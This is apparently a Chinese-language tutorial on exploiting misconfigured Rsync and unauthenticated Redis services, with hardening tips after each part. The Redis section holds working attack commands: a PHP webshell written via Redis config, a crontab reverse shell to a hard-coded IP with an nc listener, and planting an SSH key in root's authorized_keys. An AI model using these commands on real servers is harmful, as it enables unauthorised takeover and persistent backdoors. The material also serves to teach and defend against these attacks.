Rsync配置不当
Rsync(remote synchronize)是一款实现远程同步功能的软件。它在同步文件时可以保持原来文件的权限,时间,软硬链接等附加信息。rsync默认同步是不加密,可使用ssh隧道方式进行加密同步。端口默认873,和其他软件搭配使用 rsync + crontab
rsync + sersync
使用ssh隧道方式进行加密方式同步1
rsync -avzP -e "ssh -p 22" /tmp/ test@ip:/web
错误的配置
1)使用root用户权限运行
2)没开启只读模式
3)没有配置访问权限设置,用户可以进行未授权访问
我是如何沦陷ChinaZ下载站服务器的
http://www.anquan.us/static/bugs/wooyun-2013-026232.html
漏洞扫描与发现
1 | nmap -n --open -p 873 X.X.X.X/24 |
Python编写批量扫描
1 | import os |
防护
1)限定访问的IP
2)不允许匿名访问
3)防止弱口令
4)禁用root权限
Redis配置不当
Redis是一个开源、支持网络、基于内存、键值对存储数据库,使用ANSI C编写。
自从Redis未授权(未设置用户名和密码)问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿。
凤凰网某站点redis未授权访问导致Getshell
http://www.anquan.us/static/bugs/wooyun-2015-0161323.html
利用未授权访问获取Shell
默认安装redis 由于没有设置用户名和密码是可以直接登录redis
1 | wget https://codeload.github.com/antirez/redis/tar.gz/2.8.21 |
有三种攻击方式
1)获取WebShell
这种方式前提是要知道网站的目录路径1
2
3
4
5
6
7config set dir /var/www/html/ #指定一句话木马文件存放地址
config set dbfilebame shell.php #指定一句话木马文件名字
set x "<?php @eval($_POST[a]);?>" #写入一句话木马
save #保存
2)写入crontab任务1
2
3
4set x "\n* * * * * bash -i >& /dev/tcp/192.168.4.107/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save
攻击方再使用nc来监听端口1
nc –lvnp 6666
3)写入ssh公钥1
2
3
4
5
6
7
8
9ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.4.1 -x set crack
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
Save
ssh -i id_rsa root@192.168.4.1
Python爆破redis弱口令
防护
1)设置密码
2)不要把redis暴露在公网
3)使用普通用户权限来启动redis
4)对.ssh降权(chmod 400)和锁定(chattar +i)